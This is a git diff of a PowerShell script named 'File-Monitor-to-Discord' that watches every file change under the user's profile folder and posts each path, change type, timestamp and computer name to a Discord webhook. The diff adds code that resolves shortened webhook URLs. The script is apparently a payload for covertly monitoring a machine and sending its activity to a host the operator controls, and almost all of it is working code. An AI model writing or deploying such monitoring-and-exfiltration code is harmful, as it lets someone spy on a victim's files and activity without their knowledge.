diff --git a/File-Monitor-to-Discord/main.ps1 b/File-Monitor-to-Discord/main.ps1 index 1021f6a..684e3c6 100644 --- a/File-Monitor-to-Discord/main.ps1 +++ b/File-Monitor-to-Discord/main.ps1 @@ -1,4 +1,6 @@ $whuri = "$dc" + # shortened URL Detection +if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url} $watcher = New-Object System.IO.FileSystemWatcher -Property @{ Path = $env:USERPROFILE + '\' @@ -12,10 +14,10 @@ $action = { $path = $event.FullPath $changeType = $event.ChangeType $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" - - $msgsys = "[$timestamp] File $changeType > $path" - $escmsgsys = $msgsys -replace '[&<>]', {$args[0].Value.Replace('&', '&').Replace('<', '<').Replace('>', '>')} - $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsgsys} | ConvertTo-Json + + $msgsys = "[$timestamp] File $changeType > $path" + $escmsgsys = $msgsys -replace '[&<>]', {$args[0].Value.Replace('&', '&').Replace('<', '<').Replace('>', '>')} + $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsgsys} | ConvertTo-Json Invoke-RestMethod -Uri $whuri -Method Post -ContentType "application/json" -Body $jsonsys }